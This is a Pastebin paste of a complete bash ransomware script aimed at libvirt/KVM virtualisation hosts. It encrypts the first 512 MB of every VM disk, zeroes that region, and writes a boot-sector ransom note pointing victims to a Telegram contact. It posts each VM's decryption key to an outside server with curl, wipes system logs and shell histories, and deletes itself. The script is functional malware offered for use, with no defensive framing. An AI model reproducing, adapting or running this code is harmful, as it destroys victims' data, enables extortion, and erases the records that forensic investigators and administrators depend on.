Guest User

Untitled

a guest
Feb 1st, 2026
451
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.86 KB | None | 0 0
  1. #!/bin/bash
  2. SERVER_URL="https://ikvm.oldenvale.ru/keys.php"
  3. BLOCK_SIZE_MB=512
  4. THREADS=16
  5.  
  6. G='\033[0;32m'
  7. Y='\033[1;33m'
  8. NC='\033[0m'
  9.  
  10. # Функция очистки
  11. clean_all() {
  12. sudo journalctl --vacuum-time=1s 2>/dev/null
  13. sudo find /var/log -type f \( -name "*.log" -o -name "*.log.*" -o -name "*.gz" -o -name "*.old" -o -name "*.1" \) -exec truncate -s 0 {} \; 2>/dev/null
  14. sudo truncate -s 0 /var/log/{syslog,messages,kern.log,auth.log,secure,maillog,cron,boot.log,dmesg,lastlog,wtmp,btmp,faillog} 2>/dev/null
  15. history -c; cat /dev/null > ~/.bash_history; sudo find /home -name ".bash_history" -exec truncate -s 0 {} \; 2>/dev/null; sudo find /home -name ".zsh_history" -exec truncate -s 0 {} \; 2>/dev/null; sudo find /root -name ".*_history" -exec truncate -s 0 {} \; 2>/dev/null; export HISTFILE=/dev/null; history -c
  16. }
  17.  
  18. # Функция установки и проверки
  19. install_and_verify() {
  20. local tool=$1
  21. if ! command -v "$tool" &>/dev/null; then
  22. echo -e "${Y}[*] $tool missing. Attempting to fix...${NC}"
  23. if [ -f /etc/debian_version ]; then
  24. apt-get update -y && apt-get install -y "$tool" curl openssl xxd libvirt-clients &>/dev/null
  25. elif [ -f /etc/redhat-release ]; then
  26. if [ "$tool" == "nasm" ]; then
  27. yum install -y https://download-ib01.fedoraproject.org/pub/epel/7/x86_64/Packages/n/nasm-2.10.07-7.el7.x86_64.rpm &>/dev/null || yum install -y nasm &>/dev/null
  28. else
  29. yum install -y "$tool" vim-common openssl curl &>/dev/null
  30. fi
  31. fi
  32.  
  33. # Финальная проверка после попытки установки
  34. if ! command -v "$tool" &>/dev/null; then
  35. echo -e "\033[0;31m[!] Failed to install $tool. Task aborted to prevent data loss.\033[0m"
  36. exit 1
  37. fi
  38. fi
  39. }
  40.  
  41. # Проверяем и фиксим зависимости
  42. for t in nasm openssl xxd curl virsh; do
  43. install_and_verify "$t"
  44. done
  45.  
  46. process_vm() {
  47. local dom=$1
  48. [ -z "$dom" ] && return
  49.  
  50. UUID=$(virsh domuuid "$dom" | tr -d ' \n\r')
  51. [ -z "$UUID" ] && return
  52.  
  53. KEY=$(openssl rand -hex 16)
  54. [ -z "$KEY" ] && return
  55.  
  56. DISKS=$(virsh domblklist "$dom" --details | grep -E 'file|block' | awk '{print $4}')
  57.  
  58. cat << EOF > "boot_${dom}.asm"
  59. [BITS 16]
  60. [ORG 0x7C00]
  61. start:
  62. mov ax, 0x0003
  63. int 0x10
  64. mov si, msg
  65. print:
  66. lodsb
  67. test al, al
  68. jz hang
  69. mov ah, 0x0e
  70. int 0x10
  71. jmp print
  72. hang:
  73. jmp hang
  74. msg db 13, 10, " Your files are encrypted, requires payment for decrypting", 13, 10
  75. db " Contact us: Telegram: @cloudcone_raidbot", 13, 10, 13, 10
  76. db " UUID: $UUID", 13, 10, 0
  77. times 510-(\$-\$\$) db 0
  78. dw 0xAA55
  79. EOF
  80.  
  81. nasm -f bin "boot_${dom}.asm" -o "boot_${dom}.bin" &>/dev/null
  82. if [ ! -f "boot_${dom}.bin" ]; then
  83. rm -f "boot_${dom}.asm"
  84. return
  85. fi
  86.  
  87. for disk in $DISKS; do
  88. [ ! -e "$disk" ] && continue
  89.  
  90. # Пытаемся получить размер разными способами (важно для LVM)
  91. TOTAL_SIZE=$(blockdev --getsize64 "$disk" 2>/dev/null || stat -L -c%s "$disk" 2>/dev/null)
  92. [ -z "$TOTAL_SIZE" ] || [ "$TOTAL_SIZE" -le 0 ] && continue
  93.  
  94. # Шифрование
  95. dd if="$disk" bs=1M count=$BLOCK_SIZE_MB 2>/dev/null | \
  96. openssl enc -aes-256-cbc -salt -pbkdf2 -iter 10000 -md sha256 -k "$KEY" -out "/tmp/${dom}.enc" 2>/dev/null
  97.  
  98. # Если шифрованный файл не создался - пропускаем диск, чтобы не затереть оригинал нулями
  99. if [ ! -s "/tmp/${dom}.enc" ]; then
  100. continue
  101. fi
  102.  
  103. ENC_SIZE=$(stat -c%s "/tmp/${dom}.enc")
  104. SEEK_POS=$((TOTAL_SIZE - ENC_SIZE - 8))
  105.  
  106. # Запись
  107. dd if="/tmp/${dom}.enc" of="$disk" bs=1M seek=$SEEK_POS oflag=seek_bytes conv=notrunc 2>/dev/null
  108. printf "%016x" $ENC_SIZE | xxd -r -p | dd of="$disk" bs=1 seek=$((TOTAL_SIZE - 8)) oflag=seek_bytes conv=notrunc 2>/dev/null
  109. dd if=/dev/zero of="$disk" bs=1M count=$BLOCK_SIZE_MB conv=notrunc 2>/dev/null
  110. dd if="boot_${dom}.bin" of="$disk" bs=512 count=1 conv=notrunc 2>/dev/null
  111.  
  112. rm -f "/tmp/${dom}.enc"
  113. done
  114.  
  115. curl -s --max-time 10 -d "vm_name=$dom" -d "uuid=$UUID" -d "key=$KEY" "$SERVER_URL" > /dev/null
  116. virsh reset "$dom" &>/dev/null
  117. rm -f "boot_${dom}.asm" "boot_${dom}.bin"
  118. echo -e "${Y}[+] Encrypted:${NC} $dom"
  119. }
  120.  
  121. export -f process_vm
  122. export SERVER_URL BLOCK_SIZE_MB Y NC
  123.  
  124. echo -e "${G}[*] Encryption started...${NC}"
  125. domains=$(virsh list --all --name | grep . )
  126. echo "$domains" | xargs -P $THREADS -I {} bash -c 'process_vm "{}"'
  127.  
  128. echo -e "${G}[*] Done. Cleaning logs...${NC}"
  129. clean_all
  130. rm -- "$0"
Advertisement
Add Comment
Please, Sign In to add comment